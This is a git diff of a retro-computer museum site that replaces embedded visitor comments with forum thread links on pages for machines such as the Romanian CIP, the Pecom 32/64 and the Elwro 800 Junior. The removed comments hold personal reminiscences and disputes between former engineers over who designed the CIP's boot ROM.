a/content/museum/electronic-product-ass-epa-6800.md +++ b/content/museum/electronic-product-ass-epa-6800.md @@ -48,18 +48,12 @@ params: value: Unknown tabs: - photos + forum_thread: 746 photos: - title: COVERED SYSTEM subtitle: '' text: A smoke colored plastic lid covered and protected the board and components. image: /media/museum/photos/epa_6800_system_1.jpg - comments: - - author: Marc Lewis (Spokane, WA) - date: Monday 7th December 2009 - text: |- - I bought one of these, probably in about 1978. I think I paid $795 for it. I was working in the Cal Poly computer center as the Systems Supervisor (I did the systems programming for the IBM 360/40). Being a software guy, about all I could do with it was disassemble the ROM and write some simple stuff. Not much RAM, and no way to get the program in other than typing in the machine language for it. Of course when you turned it off, the program went away. - - I recall selling it to an EE student at Cal Poly who was going to use it in his Senior Project to create a LORAN-C device of some kind. I don''t know if he succeeded or not. oc_id: 765 source: url: https://web.archive.org/web/20230208162838/http://www.old-computers.com/museum/computer.asp?c=765 diff --git a/content/museum/electronica-cip-03.md b/content/museum/electronica-cip-03.md index 23423b87..199b7cfe 100644 --- a/content/museum/electronica-cip-03.md +++ b/content/museum/electronica-cip-03.md @@ -55,6 +55,7 @@ params: tabs: - photos - hardware + forum_thread: 684 photos: - title: BLUE VERSION subtitle: '' @@ -128,104 +129,6 @@ params: subtitle: '' text: This joystick interface (only one joystick) was connected to the CIP expansion bus connector. image: /media/museum/hardware/electronica_c1p_joyinterf_1.jpg - comments: - - author: Ioan Rosca (Romania/Canada) - date: Wednesday 8th December 2021 - text: 'Part 1/2: I started my internship at Electronica in 1983 and was tasked by the technical director Gavriliu (due to my background in mathematics) to fully elucidate analog colour processing (hence also the Telecolor decoder that was coming to market). I claim to have succeeded. Subsequently, I conceived the training courses for the technical repair staff and organised the training centre in Piatra Neamt. I then started redacting the Electronica magazine, with articles published in accordance to my vision on the explanation of electronics as a spiritual ferment. That’s why, when Gavriliu asked me (around 1987) to conceive a small boot for the CIP, I first appreciated the way the colour encoder was realised, as a combinational game of phasor trigonometry - a true lesson in the application of vectors. We were thrilled by how the syncrogenerator, starting from the clock and playing a subtle combinational game, made all the signals necessary to a TV broadcast compatible with existing - sets. Finally, we stumbled on the part that simply fascinated us: the workings of the memory arbiter. We verified, incredulously at first, that it was able to use the inactive cycles of all instructions to squeeze the syncrogenerator signal that maintained spot movement and also refresh memory between the in-out CPU requests. It was real feast of ingenuity - if you were able to conceive this (I thought the schematics were borrowed from somewhere) - I congratulate you. You’ve afforded me wonderful moments. There was one big problem though. The external memory system was very sensitive to the poor quality of recording/playback heads found in regular cassette players (not everyone had access to that special Hungarian cassette player that miraculously handled the signal trains deposited on the tape, allowing the $ion of the short/unique synchronisation impulse after the long series of preparatory impulses). That was already a critical impediment to archiving/loading, but with the operating - system placed on tape (as was requested, due to unresolved intellectual property issues), it was truly dramatic. That’s why we conceived a small “oscilloscopeâ€�, as part of the boot functions (among the others necessary for loading the operating system and copying), that gave a visual representation of the impulse train obtained from the cassette player - for optimal head adjustment. We focused our attention on the save/load routine, deciphering the realtime processing equations behind the Spectrum algorithm (using The Complete Spectrum ROM Disassembly - I still have it on my bookshelf, although I’m involved in completely different thing now - we had established the complete logical schematics of the Spectrum’s 16K Basic, in order to act without losing compatibility with existing games). With this occasion we saw the importance of using the Z80 in realtime (of course, in the absence of interrupts or masking them). We managed to make music by mixing threads of Fourrier decompositions, - doubling/tripling densities on save/load (back then engineering was about making economies for the user - the spectacular effort of adding colour to the black-and-white signal, keeping in-band compatibility being a good example of this principle). Programming each subroutine dozens of times, managing to spare an octet each time, even using some sequences of the character table … aspics of code, $ing a “keyâ€� for commuting memory access (from 2k EPROM to the RAM where the BASIC could be loaded), we managed to stuff it all in 2k to our great delight… (we were young and playing creation). We also filed for a patent in March 1989 (I’ll try to check the result at the patent office). That covers the BOOT programming part.' - - author: Ioan Rosca (Romania/Canada) - date: Wednesday 8th December 2021 - text: 'Part 2/2: Regarding PN (Piatra Neamt) BASIC, it contained the turbo-load function, a subroutine for mirroring the keyboard for troubleshooting (the keys were not very reliable), the possibility to use function from the 2k EPROM but most importantly the commuting of instructions in the Romanian language (with the condition of adding a plastic mask over the keyboard) to avoid encumbering children with the English language, which was essential to precocious educational use of the product. Because - and this is the key aspect - we had decided with Gavriliu on a school implementation program, starting the programming of pedagogical modules with the arithmetics textbooks that were taught back then, written by my father. All these plans came to a halt after December 22nd 1989… It caught us in the middle of programming animation libraries for LED panels (another CIP real-time usecase) and writing the Service Manual for the CIP. This was a wonderful experience. We realised, following - every aspect, interrupting every pin to simulate defects and deducing behaviour - from code to screen - that we have a jewel in front of us, a logical watch, a demonstration of beauty and intelligence, an x-ray of the mind’s game. The CIP was conceived to help users in intellectual operations. But it was made in a way such that understanding it was, in itself, a school for the intellect, an extremely instructive spectacle. The behaviour, although complex, was fully intelligible - which allows the conceptor’s conscience, I believe, to thrive in dignity / noblesse / light. That’s how I explain the lingering interest for the Spectrum. The new solutions, favourable to manufacturers, efficient as instruments, are closed off to the comprehension of internal mechanisms$ pragmatically superior, they are no longer a good source of learning, inspiration, joy of thinking coherently/creatively. After physically reducing us, technology/convenience, industrialised production, will also reduce - us intellectually. The kind of lesson taught by the CIP schematics are no longer possible today. Perhaps no one is left to enjoy the elegance of the mind. I wanted back then to write a book, a sort of explanatory novel, on the spectacular and instructive adventure of a journey through the CIP, followed by one through the monitor. I held an after-class with students at the Petru Rares high-school in Piatra Neamt, using the Chromatic and the CIP to show them the why and how of reasoning, abstracting and mathematics. The rest is nostalgia…' - - author: Dan Mihai (United States) - date: Sunday 5th December 2021 - text: 'Ioan, I read your posting earlier this year and I thought I’d reach out to share some of the history of this unique design, which I came up with back in 1986 while trying to find a better way to build a Sinclair Spectrum clone without an ASIC (“ULAâ€� chip) that could be built using just discrete digital logic (gates and registers) in addition to the Z80-CPU. This is the only clone design that I am aware of which implements a “single master time baseâ€� concept (single 18.2 MHz quartz oscillator that runs, through dividers, the \~2.5 MHz CPU, the digital PAL color subcarrier modulator, and the display logic – aka “ULAâ€� replacement – which avoided the original Sinclair design of putting the CPU in a Halt state to allow the ULA to push out the video frames when conflicting, resulting in a “pure soundâ€� for games. Being totally synchronous and quite tolerant to low-quality analog and digital components, my design was chosen for production at Electronica, where I - worked as the Project Manager / Technical Lead (on contract assignment from the ITCI research institute) with Calin Popescu (the manufacturing manager at Electronica) and Eugen Stefan (RF engineer) to get this design into manufacturing as a “gaming accessory to the Cromatic color TVâ€� manufactured at Electronica that was being released to the market at that time. Some of the adaptations included: • Redesigning the PCB from a 4-layer board with a 25 mil resolution to a 2-layer board with a 50-mil resolution - to accommodate the “state of the artâ€� (sic) manufacturing capability at Electronica (resulting in a 4x increase in size and weight relative to my original ZX-Spectrum+ prototype) • Replacing the original Sinclair 16K ROM ROM with a 2K Basic Interpreter / bootloader that I wrote to help Electronica avoid being sued for Copyright infringement by Sinclair (concern which was thrown out the window by Electronica starting with CIP-02 onwards – I think that the concept of - “Intellectual Propertyâ€� has not sunk into the Romanian culture until much, much later…) • My original design had a 64 KB memory with 4x 16K banks switchable through a hotkey, which allowed the user to pre-load up to 4 games from cassette tapes into the ZX-Spectrum+ memory, and then switch from one game to another while maintaining game state. Obviously the 64K RAM chips were too expensive for mass manufacturing, and I had to go back to a more "pedestrian" single 16K RAM bank like the original Sinclair (one game at a time) • The digital PAL color subcarrier modulator was implemented using a Finite State Machine (FSM) in a PROM with 16 phase shifts controlled by the RGB information from the video memory in real time (as a reminder the PAL color modulation standard requires carrier phase modulation with alternating phases in odd / even frames) - for which my ITCI colleague Marian Romascanu and I have been granted Romanian Patent 101742 with a priority date of 4 July 1988. I - still have the original ZX-Spectrum+ prototype, a copy of the CIP-01 pre-production batch, and pictures of the various stages in the "productization" of this design as part of a technology transfer project from ITCI to Electronica - if anybody knows how I could post pictures to this forum, please LMk and I''''d be happy to do so.' - - author: Ioan Rosca (Romania/Canada) - date: Tuesday 9th February 2021 - text: 'Let''''s clarify a little more precisely the situation of these versions of CIP. I do not dispute the merit of the teams that designed the hard. We were able to appreciate it, we the team of young engineers from the Electronic Service Piatra Neamt, who studied it meticulously, in order to design the starting boot and the Service Book: http://www.ioanrosca.com/didactica/electronica/caiet_service_electronica_1990/index.htm It was a small creative gem, both in terms of decoder (where it exploits excellent color theory and trigonometric operations), and elsewhere (such as RF modulator, etc.). We especially like the way the video memory referee governs / mixes the access of the processor and of the sync generator, so that, using inactive touches, no interruptions occur, and the Z80 processor can be used real time, so perfect determinst (that''''s why the sound wasn''''t disturbed either) But regarding the 2k boot (and not 4k - as Adrian Stancescu''''s comment says), I specify that - it was designed entirely by us at Piatra Neamt, together with a version of "Basic PN" (ie Piatra Neamt), perfectly compatible Spectrum (which forced us to an exhaustive analysis of the disassembly of the 16K) but which had some improvements (switching to Romanian instructions - so that the Roman puppies invited to use the computer not to be forced neocolonially to English, overturn the keyboard - in case of a key failure, optimize the load / save functions - so that it moves at turbo speeds) I designed the startup boot (with the main role of loading the operating system from the cassette) in only 2k of eprom memory, because CIP 1 did not have the 16K Basic system integrated in the ROM, so it had to be loaded from the audio cassettes . This formula was very flexible (the machine was not dedicated to an operating system) but it had delicate load issues, which led to the introduction of the 16k Basic ROM in later versions of CIP. The quality of the cassette players leaving much to be - desired. forced, after long experiments, to incorporate in the 2k of the boot an "oscilloscope", usable in adjusting the playback heads, a copy editor - executed even without operating system, as well as for economy, load and save on turbo speeds - 150, 20 and 300$. I worked on more than 150 versions. I filed on March 27, 1989 an invention patent for this boot, placed in eprom. That''''s why I don''''t know how to interpret the statement: "and I programmed the super-optimized 4K Spectrum BIOS cassette loader + BASIC interpreter to go around the Sinclair Spectrum software copyright while still providing the ability to program in BASIC". I asked today the technical director of Electronics, eng. Mircea Gavriliu, which made this project possible, if there was any 4k boot, experimental. He does not remember such details. However, it is certain that CIP 1 came on the market with the boot designed by us in Piatra Neamt. I have a such a CIP in my house, and I also have the source code and - all the proof of our work . Therefore, i hope that the author of the comment clarifies the issue, so that we are not left with the impression of an attempt to praise the work of others. 9 .02.2021 Ioan Rosca, electronics engineer, mathematician and architect of tele / informatics systems, designer of the boot for CIP 1' - - author: Ioan Rosca (Romania/Canada) - date: Tuesday 9th February 2021 - text: 'Let''''s clarify a little more precisely the situation of these versions of CIP. I do not dispute the merit of the teams that designed the hard. We were able to appreciate it, we the team of young engineers from the Electronic Service Piatra Neamt, who studied it meticulously, in order to design the starting boot and the Service Book: http://www.ioanrosca.com/didactica/electronica/caiet_service_electronica_1990/index.htm It was a small creative gem, both in terms of decoder (where it exploits excellent color theory and trigonometric operations), and elsewhere (such as RF modulator, etc.). We especially like the way the video memory referee governs / mixes the access of the processor and of the sync generator, so that, using inactive touches, no interruptions occur, and the Z80 processor can be used real time, so perfect determinst (that''''s why the sound wasn''''t disturbed either) But regarding the 2k boot (and not 4k - as Adrian Stancescu''''s comment says), I specify that - it was designed entirely by us at Piatra Neamt, together with a version of "Basic PN" (ie Piatra Neamt), perfectly compatible Spectrum (which forced us to an exhaustive analysis of the disassembly of the 16K) but which had some improvements (switching to Romanian instructions - so that the Roman puppies invited to use the computer not to be forced neocolonially to English, overturn the keyboard - in case of a key failure, optimize the load / save functions - so that it moves at turbo speeds) I designed the startup boot (with the main role of loading the operating system from the cassette) in only 2k of eprom memory, because CIP 1 did not have the 16K Basic system integrated in the ROM, so it had to be loaded from the audio cassettes . This formula was very flexible (the machine was not dedicated to an operating system) but it had delicate load issues, which led to the introduction of the 16k Basic ROM in later versions of CIP. The quality of the cassette players leaving much to be - desired. forced, after long experiments, to incorporate in the 2k of the boot an "oscilloscope", usable in adjusting the playback heads, a copy editor - executed even without operating system, as well as for economy, load and save on turbo speeds - 150, 20 and 300$. I worked on more than 150 versions. I filed on March 27, 1989 an invention patent for this boot, placed in eprom. That''''s why I don''''t know how to interpret the statement: "and I programmed the super-optimized 4K Spectrum BIOS cassette loader + BASIC interpreter to go around the Sinclair Spectrum software copyright while still providing the ability to program in BASIC". I asked today the technical director of Electronics, eng. Mircea Gavriliu, which made this project possible, if there was any 4k boot, experimental. He does not remember such details. However, it is certain that CIP 1 came on the market with the boot designed by us in Piatra Neamt. I have a such a CIP in my house, and I also have the source code and - all the proof of our work . Therefore, i hope that the author of the comment clarifies the issue, so that we are not left with the impression of an attempt to praise the work of others. 9 .02.2021 Ioan Rosca, electronics engineer, mathematician and architect of tele / informatics systems, designer of the boot for CIP 1' - - author: Ioan Rosca (Romania/Canada) - date: Tuesday 9th February 2021 - text: 'Let''''s clarify a little more precisely the situation of these versions of CIP. I do not dispute the merit of the teams that designed the hard. We were able to appreciate it, we the team of young engineers from the Electronic Service Piatra Neamt, who studied it meticulously, in order to design the starting boot and the Service Book: http://www.ioanrosca.com/didactica/electronica/caiet_service_electronica_1990/index.htm It was a small creative gem, both in terms of decoder (where it exploits excellent color theory and trigonometric operations), and elsewhere (such as RF modulator, etc.). We especially like the way the video memory referee governs / mixes the access of the processor and of the sync generator, so that, using inactive touches, no interruptions occur, and the Z80 processor can be used real time, so perfect determinst (that''''s why the sound wasn''''t disturbed either) But regarding the 2k boot (and not 4k - as Adrian Stancescu''''s comment says), I specify that - it was designed entirely by us at Piatra Neamt, together with a version of "Basic PN" (ie Piatra Neamt), perfectly compatible Spectrum (which forced us to an exhaustive analysis of the disassembly of the 16K) but which had some improvements (switching to Romanian instructions - so that the Roman puppies invited to use the computer not to be forced neocolonially to English, overturn the keyboard - in case of a key failure, optimize the load / save functions - so that it moves at turbo speeds) I designed the startup boot (with the main role of loading the operating system from the cassette) in only 2k of eprom memory, because CIP 1 did not have the 16K Basic system integrated in the ROM, so it had to be loaded from the audio cassettes . This formula was very flexible (the machine was not dedicated to an operating system) but it had delicate load issues, which led to the introduction of the 16k Basic ROM in later versions of CIP. The quality of the cassette players leaving much to be - desired. forced, after long experiments, to incorporate in the 2k of the boot an "oscilloscope", usable in adjusting the playback heads, a copy editor - executed even without operating system, as well as for economy, load and save on turbo speeds - 150, 20 and 300$. I worked on more than 150 versions. I filed on March 27, 1989 an invention patent for this boot, placed in eprom. That''''s why I don''''t know how to interpret the statement: "and I programmed the super-optimized 4K Spectrum BIOS cassette loader + BASIC interpreter to go around the Sinclair Spectrum software copyright while still providing the ability to program in BASIC". I asked today the technical director of Electronics, eng. Mircea Gavriliu, which made this project possible, if there was any 4k boot, experimental. He does not remember such details. However, it is certain that CIP 1 came on the market with the boot designed by us in Piatra Neamt. I have a such a CIP in my house, and I also have the source code and - all the proof of our work . Therefore, i hope that the author of the comment clarifies the issue, so that we are not left with the impression of an attempt to praise the work of others. 9 .02.2021 Ioan Rosca, electronics engineer, mathematician and architect of tele / informatics systems, designer of the boot for CIP 1' - - author: Iacobini Ariel (Romania) - date: Saturday 30th June 2018 - text: Hello, I am the proud owner of 2 x Cip 03 blue and red version Romanian computers. I would like any original designs and drawings for this model to be able to restore them very close to the original / print new components, thank you, you can find me on facebook, Iacobini Ariel - - author: Adrian Stancescu (Canada) - date: Wednesday 1st November 2017 - text: I was 12 years at the time when a family friend lent me a CIP-03 for the summer of 92. It was the defining moment in my life where I knew that my future would involve computers in some shape of form. Many thanks to those involved in designing it and bringing it to market. It''s amazing that it even got approved for sale by the regime at the time. I''m glad to read your stories and send you all my gratitude. - - author: Dan Mihai (United States) - date: Friday 13rd January 2017 - text: |- - Found this post while browsing around$ I am the original designer and the project manager (from the ITC side) of commercializing this design as CIP-01 at Electronica Pipera back in 1987$ Calin Popescu was the project manager from the Electronica Pipera''s side. - - It all started when during several brainstorming discussions over quite a few satisfying games of Bridge with Cristi Hera (Pupu) and Virgil Vladescu (Bombone) - graduates of IPB Automatica / Calculatoare - about the weaknesses of the FCE''s HC-85 design, I had the idea of designing an alternate Spectrum clone hardware as a fully synchronous Finite State Machine (FSM) which ran everything (Z80A CPU, shared video memory controller, and later even the PAL encoder) from a single \~18 MHz crystal and with zero CPU WAIT states - a first for that time, and which made this design be the only Sinclair Spectrum clone generating "pure" sound tones. Initially I built this design "by hand" on a 25-mil 4-layer PCB encased in a manually assembled plastic enclosure slightly smaller than the original Spectrum - 8.75 cm wide x 5.5 cm deep x 1.6 cm tall (still have one of those in my personal computing museum, happy to share pictures with anyone who asks) and sold quite a few of these in the IPB dorms around 1985-1986 before pitching the idea of commercializing this design to my team leader at ITC, Riuric Bulgacov, in mid-1987. - - Riuric brilliantly positioned this as a potential "gaming accessory" to the just-released Cromatic color TV manufactured by Electronica Pipera to get it approved by the political administration of that time $ I am still amazed to this day that the project got approved by the administration, considering how strict they were in controlling the public''s access to electronic communications, typewriters, free speech, etc. Perhaps it was its classification as a "game accessory to the color TV" that made it fly under the radar? - - The design of what became CIP-01 had to be adjusted for the manufacturing capabilities available at Electronica-Pipera: 50-mil 2-layer PCB technology, injection-molded ABS plastic, and "consumer electronics-grade" connectors (rather large DIN jacks, etc.) which increased the size of the PCB by a factor of 4 yielding a size of the entire device of 31.5 cm wide x 28 cm deep x 6.5 cm tall. This was quite a bit larger than the original "hand-built" prototype, but it had the advantage of a larger and much more comfortable keyboard and (potentially) better cooling for the electronics. - - I still remember designing CIP-01''s first PCB layout on Electronica''s CORAL minicomputer while trying to cleverly route power and ground traces to minimize ground noise - quite a challenge in a 2-layer "consumer electronics-style" PCB layout compared with the original 4-layer "computer-style" PCB layout with dedicated power and ground planes. - - Eugen Stefan (Gene) from Electronica designed an RF modulator which was included in the box as well. Marian Romascanu from ITC designed a synchronous PAL encoder - conceptually based on the Apple II NTSC design - and I programmed the super-optimized 4K Spectrum BIOS cassette loader + BASIC interpreter to go around the Sinclair Spectrum software copyright while still providing the ability to program in BASIC. The Sinclair BIOS was loadable from a cassette tape (not sold by Electronica at that time to avoid copyright issues, but widely available from friends, family, and other "hobbyists") for full compatibility with all Spectrum games. I still have a CIP-01 preproduction prototype (white) in my personal technology museum, happy to share pictures of it as well. The entire commercialization project (concept to manufacturing) of the ITC-Electronica joint venture lasted about 12 months, which would qualify as a record even today. - - CIP-01 was available in consumer electronic stores everywhere in Romania starting with 1988, I still remember seeing it on display at Bucur-Obor $ right next to a Cromatic color TV. - - I''m quite happy to see that the product ended up selling well and helping a lot of young Romanian people acquire a passion for computers, learn how to develop software, and increase their market value in today''s high-tech global economy. - - author: Zoltán (Cluj) - date: Thursday 9th July 2015 - text: |- - In order to make a DTP program for editing the high school’s newspaper we had to modify a CIP-01 (bought immediately after the Revolution) to house supplementary 64K RAM (128K per total). also a printer and a MIDI (Musical Instruments’ Digital Interconnection) interface has been added, in this manner the computer became a ‘powerful’ multimedia tool (for Romanian ZX-clone standards, of course).\ - Unfortunately I don’t have the computer anymore. - - author: Cristina Oprea (Romania) - date: Sunday 18th May 2014 - text: 'I have a CIP -03 from Electronica. Whoever is interested in buying it please contact me : chris1_chris@yahoo.com' - - author: Victor Fomino (Bucharest, Romania) - date: Wednesday 28th August 2013 - text: |- - Together with Calin Popescu, I worked in the project for CIP (series) 03 computer (Sinclair clone).\ - Based on a designer sketch, I designed all the mechanics (keyboard, case and even a Joystick).\ - I wold like to get the mail adress of Calin Popescu. - - Thanks - - author: injineru (Germany) - date: Tuesday 12th March 2013 - text: I had this also but it was a CIP (without number). I used to play a lot on it but my dad always told me to make some programming because that is the future :) Oh the memories... - - author: Cristian (Berlin) - date: Saturday 9th February 2013 - text: |- - Hi there, - - I have a CIP-03 and intend to use it in a presentation at the university. I also have a CGA to VGA converter (http://www.ebay.de/itm/250921932635), but I have no idea how to connect it to this jack: https://picasaweb.google.com/lh/photo/OV8LprJxKpL-obTwA7ml9PSsYGzlsMif53eYzYbzzpQ?feat$directlink - - The Ring around is the Ground, but then I have the R/G/B plus the HS and VS. - - Does anyone have an idea about this? - - author: Calin - date: Sunday 12th September 2010 - text: My first computer, bought in Mai 1990. It was CIP 02 version and BASIC should be loaded from tape. My first programs and algorithms were tested using it - - author: Adrian (Constanta) - date: Wednesday 7th February 2007 - text: Yes, I still have this one! I had it first in '92 - '93, I think. I was just hypnotised by it ... hours and hours of loading and playing old games. We only had one TV at that time, and me and my brother were fighting with our parents for it. Those were the good times! - - author: Adrian Toma (Earth) - date: Monday 20th March 2006 - text: 'CIP03: My first computer... I was i kid in school (13 years old) when i bought this amazing computer. I remember i was loading 30kb in only 20 minutes. Unfortunaly, sometimes, i was getting "Tape Error Loading" ... so reload... Anyway, i was loving it ... THIS made me decide my future career in IT.' oc_id: 700 source: url: https://web.archive.org/web/20230323143454/http://www.old-computers.com/museum/computer.asp?c=700 diff --git a/content/museum/electronica-cip-04.md b/content/museum/electronica-cip-04.md index 82ba0b6e..2237d5ba 100644 --- a/content/museum/electronica-cip-04.md +++ b/content/museum/electronica-cip-04.md @@ -64,6 +64,7 @@ params: value: 5000 lei (Romania, 1992) tabs: - photos + forum_thread: 687 photos: - title: REAR CONNECTORS subtitle: '' diff --git a/content/museum/elektor-junior-computer.md b/content/museum/elektor-junior-computer.md index af2970fd..75fd92ae 100644 --- a/content/museum/elektor-junior-computer.md +++ b/content/museum/elektor-junior-computer.md @@ -55,6 +55,7 @@ params: tabs: - photos - links + forum_thread: 1292 photos: - title: JUNIOR COMPUTER subtitle: '' @@ -83,10 +84,6 @@ params: - title: Retro Computing / About small SBC systems url: http://retro.hansotten.nl/6502-sbc/elektuur-junior/ text: Hans Otten website, full info information about 8-bit small computer systems computing and electronics, including the Junior Computer - comments: - - author: Geoffrey Cody (Czech Republic) - date: Tuesday 5th April 2022 - text: Lover of old computers oc_id: 1327 source: url: https://web.archive.org/web/20221204084526/http://www.old-computers.com/museum/computer.asp?c=1327 diff --git a/content/museum/elektronska-industrija-nis-pecom-32.md b/content/museum/elektronska-industrija-nis-pecom-32.md index 7d283fe6..475e4bf6 100644 --- a/content/museum/elektronska-industrija-nis-pecom-32.md +++ b/content/museum/elektronska-industrija-nis-pecom-32.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - photos + forum_thread: 337 photos: - title: PECOM 32 subtitle: '' @@ -77,25 +78,6 @@ params: subtitle: '' text: Thanks to Riba for this picture image: /media/museum/photos/einis_pecom32_rear.jpg - comments: - - author: digitalsd (Smederevo/Srbija) - date: Thursday 20th September 2018 - text: '@CONSTANTINUS, well, Pecom has very nice CPU but regarding learning of machine code and developing hardware, Galaksija was unattainable :)' - - author: Dave (USA) - date: Saturday 7th October 2017 - text: It looks rather small. Was it a big system? - - author: CONSTANTINUS (Nis Serbia) - date: Tuesday 6th February 2007 - text: pecom 32 is the best cpu for learning basic and assembler. - - author: Sylvain (France) - date: Friday 17th October 2003 - text: Hi Dumba, Could you send us a little more information about your PECOM 32 and possibly some pictures as well. Thanks - - author: Dumba (OS) - date: Friday 17th October 2003 - text: Got one at home... really is slow, and looks a bit different as well. I believe it is a later model, from around 1989. - - author: Miroslav (SCG) - date: Friday 20th June 2003 - text: I had a chance to try one of these, back in 1991. It's unbelievably slow for a 5MHz clock (C64/128 fans DO expect a bang for their MHz, don't they? :), but the thing that bothered me most was the space bar. It's kind of squeezed-in, like on laptops, but also sunk down and placed near the case edge in order to effectivly block any effort to hit it with left hand thumb. Very frustrating. Though, the case looked slightly different than the one shown here. An improved version, perhaps? :) oc_id: 332 source: url: https://web.archive.org/web/20230609052617/http://www.old-computers.com/museum/computer.asp?c=332 diff --git a/content/museum/elektronska-industrija-nis-pecom-64.md b/content/museum/elektronska-industrija-nis-pecom-64.md index 277417b6..56127466 100644 --- a/content/museum/elektronska-industrija-nis-pecom-64.md +++ b/content/museum/elektronska-industrija-nis-pecom-64.md @@ -58,36 +58,7 @@ params: value: Unknown - label: PRICE value: Unknown - comments: - - author: Milos S. (Serbia, Nis) - date: Saturday 24th December 2022 - text: My professor for Embedded Software related subjects in Faculty of Electronic Engineering in Nis while I studied, prof.dr. Teufik Tokic, was one of only several people who has designed both the hardware and software for this computer... Asked him about his Pecom endeavor several times, all the stories were very interesting... I heard an anecdote about it''s name, how they almost named it something cheeky, but it didn''t get accepted, so they changed that a little. :) They actually had to do much of the development from scratch, similar computers were only orientational aids in design. The basic runs much, much faster than on C64 for instance. While in elementary school, we had a classroom with 12 of these, with mostly mono monitors (although unlike Pecom 32, Pecom 64 has color support). Biology teacher put in a lot of his time, to make quiz programs for each year''s programme, they counted as written tests. He used to have to get there an hour and a half before us (he told me so) - so he could load up all 12 of the Pecoms with the appropriate programs. One time there was a loud pop and bzzzzt sound, and when I turned around I saw one of the Pecoms spewing fire from around the spacekey area. The boy working on it was only shocked... I guess that''s the dangers of plugging in the computer to 220v directly... - - author: Tomislav Miladinovic (California, USA) - date: Sunday 5th June 2016 - text: The PECOM 32 Video Interface System was my project for the Faculty of Electronic Engineering thesis at the University of Nis$ June 1984. Just few months before, January 1984, Apple announced the Macintosh computer. So, we were almost neck and neck with Apple at that time. - - author: Milos (Serbia/Nis) - date: Friday 13rd July 2012 - text: We have pecom 32 and pecom 64 back then in 1988 I clearly remember i have only 6 and my brother 9 and we make some easy games in pecom basic first computer that we have . Nice time - - author: Jane (Macedonia) - date: Tuesday 30th December 2008 - text: After 5 years waiting... I finaly have ROMs for Pecom 64 thanks to Micko... Thank you Miodrag... :D - - author: Nenad (Nis, Serbia) - date: Sunday 1st October 2006 - text: Did you know that CPU in this computer was one of the first european CPU and it was made in Ei PP (Elektronska Industrija Poluprovodnici (eng. Electronic Industry Semiconductors))? It was a jointly project of Ei PP and Faculty of Electronics in Nis (Computer and Microelectronics department), and everyone was very proud!!! - - author: Pharoah (USA) - date: Monday 12th December 2005 - text: |- - This is a cool machine. Looks paper thin!\ - They had some strange designs back then :) - - author: Sekuloski Jane (Prilep, Macedonia) - date: Friday 19th December 2003 - text: |- - I need ROM software for Ei Pecom 64...\ - So, if someone have eprom programator and\ - Ei Pecom 64, please read software from both eprom\ - chips, and send them to me........ please...\ - p.s. and please don't damage your computer... :) + forum_thread: 945 oc_id: 970 source: url: https://web.archive.org/web/20230608085243/http://www.old-computers.com/museum/computer.asp?c=970 diff --git a/content/museum/elwro-800-junior.md b/content/museum/elwro-800-junior.md index 370c158b..ee18f7f8 100644 --- a/content/museum/elwro-800-junior.md +++ b/content/museum/elwro-800-junior.md @@ -67,6 +67,7 @@ params: - emulators - links - docs + forum_thread: 927 photos: - title: ELWRO 800-2 subtitle: '' @@ -555,55 +556,6 @@ params:  type of document : HTML\  source : [The Lil Old Sinclair Computer Technical Information Repository](http://members.lycos.co.uk/eightbitula/) - comments: - - author: Marcin Kazmierczak (Poland) - date: Friday 16th December 2016 - text: Please visit my website dedicated to Elwro 800 Junior only. I have the biggest collection of Elwro 800 Junior. - - author: Marcin Ka$$378$mierczak (Poland) - date: Friday 16th December 2016 - text: Please visit my website dedicated to Elwro 800 Junior only. I have the biggest collection of Elwro 800 Junior. - - author: Szymon (UK) - date: Friday 6th May 2016 - text: Just got myself one of these however, it seems like the 804 prototype looks somewhat similar to Olivertti Prodest, with the way they mounted the floppy drive :) - - author: Marek (Netherlands) - date: Friday 29th April 2016 - text: |- - The funny thing is - they didn''t create a special encasing, but just utilised one from the electronic organ: Elwirka\ - http://legendy-prl.pl/elwirka-1.jpg - - author: Roma (St Petersburg) - date: Friday 13rd September 2013 - text: |- - Hello, help me please to find som information about\ - M-241/EC 8013.01\ - NORTHERN TELECOM ELWRO\ - http://cs540108.vk.me/c540100/v540100349/438b/YAKZGBFK_yE.jpg - - author: Marek (Poland) - date: Wednesday 21st September 2011 - text: |- - First, Elwro 804 was not similar to C128 at all, it was more similar to Didaktik Kompakt or Commodore 65/64DX (outside only). - - Now about 800. After sending to school, there were many problems with these computers. Some units were damaged, some even not assembled!. You opened a box, and - Voila! Case, mainboard, power supply and screws, separately. Do it yourself :D.\ - Someone from Elwro finally explained how manufacturing tests of mainboard look like: They put a program in and leave it running for a night. If it hanged, let''s try one more time :).\ - But the biggest pain in @ss was a floppy drive. They used poor quality hungarian drives, which were destroying system disks! Finally Elwro decided to replace every floppy drive with Teac or Robotron device.\ - These hungarian drives not only destroyed system disks, but ruined network drivers. Drivers were loaded wrong way, giving unexpected results. My IT teacher remembers a situation, in which grabbing a screen from student''s computer resulted in hanging student''s Junior \~1 minute after teacher''s look, and after two minutes, causing network fatal error on teacher''s unit, freezing OS and entire network. The only way out: Reset everything in network. - - The PC described by Maciek is probably Mazovia or Elwro 801/AT.\ - One more thing: When Elwro used all floppy drive cases from warehouse, they started to put these in Elwro 801/AT case, more than two times bigger than drives and their PSU. - - author: Tomasz (Warszawa) - date: Monday 11th October 2004 - text: |- - I found some more technical specifications on Elwro 800 at: - - http://www.8-bit.interbit.com.pl/index.php?id_komp=50&fotka=elwro_800jr_04 - - If someone needs a translation from polish, I can do it in the next weekend (right now I suffer from a lack of time). - - Bye! - - author: Tomas (Swinoujscie, Poland) - date: Thursday 2nd October 2003 - text: |- - I used to play with theese Elwro 800 when i was in high school about 15 years ago. It really worked and CP/M and the network (DIN-5 cables in a daisy-chain) worked marvelous. Comparing to the PC/XT that i had, it worked really nice and the games stored on 5.25'' floppies loaded in a few seconds contrary to the old ZX Spectrum tapes.\ - My informatics teacher MR. Stefan Sroka was a great fan of theese computers, especially LOGO which was his favorite programming language. related: - /museum/czerweny-cz-2000 - /museum/czerweny-spectrum diff --git a/content/museum/emerson-arcadia-2001.md b/content/museum/emerson-arcadia-2001.md index c117f908..0761898f 100644 --- a/content/museum/emerson-arcadia-2001.md +++ b/content/museum/emerson-arcadia-2001.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 816 photos: - title: ARCADIA 2001 subtitle: '' diff --git a/content/museum/english-electric-co-deuce.md b/content/museum/english-electric-co-deuce.md index 6fdf9933..18ad49ee 100644 --- a/content/museum/english-electric-co-deuce.md +++ b/content/museum/english-electric-co-deuce.md @@ -60,6 +60,7 @@ params: value: 50,000 UK Pounds tabs: - links + forum_thread: 1059 links: - 